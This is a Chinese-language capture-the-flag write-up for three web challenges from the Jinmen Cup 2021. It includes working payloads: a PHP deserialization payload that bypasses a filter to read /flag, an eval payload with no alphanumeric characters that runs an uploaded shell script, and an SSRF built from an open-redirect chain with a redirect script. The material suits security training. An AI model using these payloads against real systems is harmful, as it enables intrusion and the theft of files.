津门杯 2021
Web
power_cut
.index.php.swp
源码泄露可以得到如下代码。
<?php
class logger{
public $logFile;
public $initMsg;
public $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = $file;
readfile($this->logFile);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
echo "this is destruct";
}
}
class weblog {
public $weblogfile;
function __construct() {
$flag="system('cat /flag')";
echo "$flag";
}
function __wakeup(){
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);
}
public function waf($str){
$str=preg_replace("/[<>*#'|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function __destruct(){
echo "this is destruct";
}
}
$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>
<html>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>
可知 flag 位于根目录下,同时 weblog 对象会实例化一个 logger 对象,从而触发到 readfile($this->logFile)
处,而 logFile
是可控属性,因此可以反序列化触发读取文件。反序列化前采用了 preg_replace()
方法来过滤输入,只需要在序列化后的载荷中双写绕过即可。构造出如下脚本。
<?php
class weblog{
public $weblogfile;
function __construct(){
$this->weblogfile = "/flag";
}
}
echo serialize(new weblog());
运行脚本并双写绕过过滤后得到如下载荷。
O:6:"weblog":1:{s:10:"weblogfile";s:5:"/fflaglag";}
将载荷为参数 log 的值发送即可得到 flag。
flag{EfuteB3QOqvRqD099mHuDRJKWRxnAC47}
hate_php
题目给出的代码如下。
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
die('fighting!');
}
eval($code);
}
在响应中可以找到 X-Powered-By: PHP/5.6.40
。因此常见的取反和亦或都在 PHP 5.x 下失去作用。因此尝试执行 PHP 上传临时文件。
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
使用参考文章中的方法构造出如下载荷。
?code=?><?=`. /???/????????[?-[]`;?>
再使用 POST 传入一个文件,其中写上需要执行的恶意 shell 指令,以文件的形式上传。
#!/bin/sh
cat /f*
载荷发送后即可在响应中得到 flag。
flag{h76ghpt2v2JiYEKzBQ5ysxu9b2Z3mN4A}
GoOSS
靶机给出的访问对的是 Go 的服务,因此有两个接口。在 /vul
下可以找到如下功能。
if !strings.HasPrefix(url.Url,"http://127.0.0.1:1234/"){
c.JSON(403, gin.H{"msg": "url forbidden"})
return
}
client := &http.Client{Timeout: 2 * time.Second}
resp, err := client.Get(url.Url)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
提供的是一个访问本地服务并返回结果的功能,而根据附件可知靶机的 80 端口运行着 Apache 并可以用如下 PHP 代码进行文件读取。
<?php
// php in localhost port 80
readfile($_GET['file']);
?>
尝试 bypass 这个检测去 SSRF 发现不太可能。找到了如下的代码片段,从而尝试使用 302 跳转来实现一个 SSRF。
if !strings.HasSuffix(c.Request.URL.String(), "/"){
c.Redirect(302,c.Request.URL.String()+"/")
}else{
files := make([]string,0)
l,_ := f.Readdir(0)
for _,i := range l{
files = append(files, i.Name())
}
c.JSON(http.StatusOK, gin.H{
"files" :files,
})
}
open redirect in static handler
按照参考中的利用构造出 {"url": "http://127.0.0.1:1234//YOUR_HOST_IP/.."}
即可 302 去访问任意的地址。只需要在服务器端放上如下代码即可。
<?php header("Location: http://127.0.0.1/index.php?file=/flag");
flag{30e308e8e7122579b8ea2fae774d1999}